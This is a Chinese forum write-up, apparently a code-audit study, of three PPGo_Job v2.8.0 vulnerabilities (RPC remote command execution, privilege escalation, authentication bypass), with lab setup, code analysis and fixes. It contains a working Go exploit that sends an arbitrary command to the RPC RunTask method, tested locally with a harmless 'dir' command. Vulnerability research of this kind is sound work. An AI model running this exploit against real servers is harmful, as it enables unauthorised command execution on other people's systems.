PPGo_Job定时任务系统漏洞总结

PPGo_Job历史漏洞总结,方便归类学习

介绍

https://github.com/george518/PPGo_Job
PPGo_Job是一款使用go语言开发的轻量级定时任务管理系统,持定时任务可视化管理、多人多权限的管理,支持大并发,可同时管理多台服务器上的定时任务。

环境搭建

系统:windows11 go版本:go1.23.9 ppgo_job版本:2.8.0 mysql版本:5.7.26

我是下载的源码,刚开始下载的PPGo_Job-Master-v2.8.0-windows-amd64.zip这个打包的方法,发现跑不起来。

image.png

配置config文件:
配置数据库账号密码,创建与配置文件db.name同名的数据库,然后在数据库管理软件运行ppgo_job2.sql即可

image.png
image.png

执行go mod init ppgo_job、go tidy、go mod vender
image.png

image.png

之后正常的话就能启动了
image.png
image.png

Rce漏洞(CVE-2020-26772)

漏洞介绍

https://www.yisu.com/cve/17020.html
PPGo_Job是一款轻量级定时任务管理系统,go语言开发,部署超级简单,资源消耗少,运行稳定。 PPGo_Jobs v2.8.0 中存在安全漏洞,该漏洞允许远程攻击者通过“AjaxRun()”函数执行任意代码。

漏洞分析

根据公开的漏洞信息,定位到RunTask函数。

image.png
进入RestJobFromTask函数:

image.png
继续进入ResetCommandJob函数:
可以看到参数中的command参数直接作为exec.Command的执行参数,参数可控。

image.png
那么怎么触发呢?回到RpcTask这个类,可以看到该类被注册了RPC服务,也就是如果目标网站开启了RPC服务,我们就可以通过调用该目标RPC服务的RpcTask.RunTask方法,此时服务器会将我们传入的RunTask方法的参数也就是Task结构体带入执行,将其中的Task.Command字段作为cmd执行的参数执行造成RCE。

image.png

漏洞复现

该漏洞利用需要目标站点先开启rpc服务器,也就是执行项目中的./agent/main.go,但这里有两signal.go、task.go两文件有报错需要解决。

注意:/agent/main.go还有/main.go引用的外部文件都是/vendor下的,比如这里的signal.go、task.go是vendor\github.com\george518\PPGo_Job\agent\server下的。

image.png
错误1:signal.go文件报错,直接删了syscall.SIGUSR1, syscall.SIGUSR2参数即可。

image.png
错误2:task.go文件报错,因为引用该RpcResult结构体的只有该文件下的代码,所以我是直接将该结构体名改成RpcResult_t连带修改task.go文件中引用的地方。

image.png

现在就能执行./agent/main.go开启rpc服务了(需要先启动web服务):

image.png

exp:
这里payload为dir > 11.txt

package main

import (
    "encoding/json"
    "fmt"
    "net"
    "net/rpc"
    "net/rpc/jsonrpc"
)

type JobResult struct {
    OutMsg    string
    ErrMsg    string
    IsOk      bool
    IsTimeout bool
}

type Task struct {
    Id            int
    GroupId       int
    ServerIds     string
    ServerType    int
    TaskName      string
    Description   string
    CronSpec      string
    Concurrent    int
    Command       string
    Timeout       int
    ExecuteTimes  int
    PrevTime      int64
    Status        int
    IsNotify      int
    NotifyType    int
    NotifyTplId   int
    NotifyUserIds string
    CreateId      int
    UpdateId      int
    CreateTime    int64
    UpdateTime    int64
}

func main() {
//command字段值就是rce命令
    req := `{"Id":17,"GroupId":1,"ServerIds":"12","ServerType":0,"TaskName":"wwwwwww","Description":"wwwwwww","CronSpec":"* * * * *","Concurrent":0,"Command":"dir > 11.txt","Timeout":1000,"ExecuteTimes":0,"PrevTime":0,"Status":0,"IsNotify":0,"NotifyType":0,"NotifyTplId":0,"NotifyUserIds":"","CreateId":1,"UpdateId":0,"CreateTime":1600687576,"UpdateTime":1600687576}`
  //rpc默认端口1564,可以在./agent/config/config.ini配置。
    conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", "127.0.0.1", 1564))
    reply := new(JobResult)
    if err != nil {
        reply.IsOk = false
        reply.ErrMsg = "Net error:" + err.Error()
        reply.IsTimeout = false
        reply.OutMsg = ""
        fmt.Println("error ", err)
        return
        //return reply
    }

    defer conn.Close()
    client := rpc.NewClientWithCodec(jsonrpc.NewClientCodec(conn))

    defer client.Close()
    reply = new(JobResult)

    task := new(Task)
    err = json.Unmarshal([]byte(req),&task)
    if err != nil  {
        fmt.Println("error in unmarshal" , err)
    }
    err = client.Call("RpcTask.RunTask", task, &reply)
    if err != nil {
        reply.IsOk = false
        reply.ErrMsg = "Net error:" + err.Error()
        reply.IsTimeout = false
        reply.OutMsg = ""
        //return reply
    }
    return
}

执行完可以看到创建了11.txt:

image.png

image.png

漏洞防范

项目已经好几年没更新了一直没修复,防御的话,非必要不开启项目的Rpc服务就是了,真要使用的话可以修改/config/config.ini文件让该服务只开放在内网里:

image.png

越权漏洞(CVE-2024-36691)

漏洞介绍

https://cve.imfht.com/detail/CVE-2024-36691
PPGo_Jobs v2.8.0 中的 AdminController.AjaxSave()方法存在不安全的权限问题,允许经过身份验证的攻击者任意修改用户的账户信息。

漏洞分析

第一处:UserController.AjaxSave() 方法

该方法用来修改用户个人资料信息,如账号名、姓名、手机号码、密码等。
看代码可以看到,要修改的目标账号是通过请求包中的id参数指定的,且未对用户权限做校验导致可以越权修改其他账号(包括admin用户)信息。

image.png
请求包:

image.png
漏洞点位置:

image.png

漏洞修复

要进行修改的目标用户ID不从请求中获取,改为直接获取当前userId即可:
image.png

第二处:AdminController.AjaxSave() 方法

可以看到该处理方法也是通过获取请求包中的id参数值来指定要进行修改或新增的目标用户。

image.png
当前端传入的id参数不存在即默认为0时为进行新增用户操作。

image.png
否则进行修改用户信息的操作,可以看到代码仅对普通管理员对admin超级管理员的修改做了校验,存在越权修改其他管理员账号信息的漏洞,包括能对目标账号密码进行重置。

image.png
漏洞功能点位置:

image.png

漏洞修复

从该系统页面功能点来看,原本设定的应该是只有超级管理员才能进行用户的添加/修改操作,所以修复的话加个判断当前用户的userId是否为超级管理员(1)即可:

image.png

image.png

未授权漏洞

漏洞介绍

https://forum.butian.net/share/928
该漏洞源于鉴权方法Auth()的实现缺陷。当系统检测到用户权限不足时,未能及时终止请求处理流程,导致页面数据仍然正常加载,从而绕过权限控制。

漏洞分析

Beego 框架请求处理流程是先执行 Prepare() 方法,再执行具体的请求处理方法(如 Get()Post() 等),可以看到Prepare方法调用了Auth()方法用于鉴权。

image.png
跳转到Auth()方法,Auth()方法代码如下:

image.png
重点看isHasAuth == false && isNoAuth == false这个if条件的内容,可以看到上下两部分的处理代码在检测到“没有权限”后,代码都没有使用如self.StopRun()终止处理流程,这会导致 Beego 继续执行后续的请求处理方法并渲染页面内容。

image.png
比如该项目中的redirect方法就使用了self.StopRun方法避免了这个问题。

image.png

漏洞复现

构造请求
先是要进入上级if条件:

image.png
len(arr)跟userId > 0 也就是请求包中Cookie的auth字段值是用|符号划分的两个部分,且|左边的id值大于0即可,如:

image.png
然后进入目标if条件:isHasAuth == false && isNoAuth == false

image.png
条件1:isHasAuth == false,也就是strings.Contains(self.allowUrl, self.controllerName+"/"+self.actionName)为false,在调试的时候可以看到self.allowUrl为空,所以该条件默认成立不用管。

image.png
条件2:isNoAuth == false,也就是strings.Contains(noAuth, self.actionName)为false,所以我们构造的未授权访问请求包的actionName不能包含以下关键字:

image.png
这个项目将url请求基本分为controllerName跟actionName,actionName也就是请求中按斜杠/数的第二个参数。
image.png

所以构造如下请求,可以看到虽然触发“没有权限”的弹窗,但页面数据还是正常进行加载显示。

image.png

image.png

漏洞修复

在判断条件if isHasAuth == false && isNoAuth == false {代码内添加上两个函数self.StopRun()避免请求继续执行:
image.png

image.png

总结

java代码审计太难了,看不下去一点,刚用go语言写完毕设想着对该语言还比较熟悉就想学点go代码审计,也是看到站内师傅审ppgo_job的文章,但只讲了上面的“未授权”漏洞而且感觉讲的漏洞成因跟我复现的对不上(,所以想着整合一下了。

  • 发表于 2025-05-22 09:00:02
  • 阅读 ( 2106 )
  • 分类:Web应用

1 条评论

johnxiaobai
说实话大佬才是YYDS,其它代码审计,环境搭建不说,审计一些漏洞都是自己给自己看的,大佬继续发文章呀!
谢谢佬鼓励。^ ^
感谢john师傅鼓励^_^
请先 登录 后评论
请先 登录 后评论
厉飞宇
厉飞宇

简拉基次德

1 篇文章

站长统计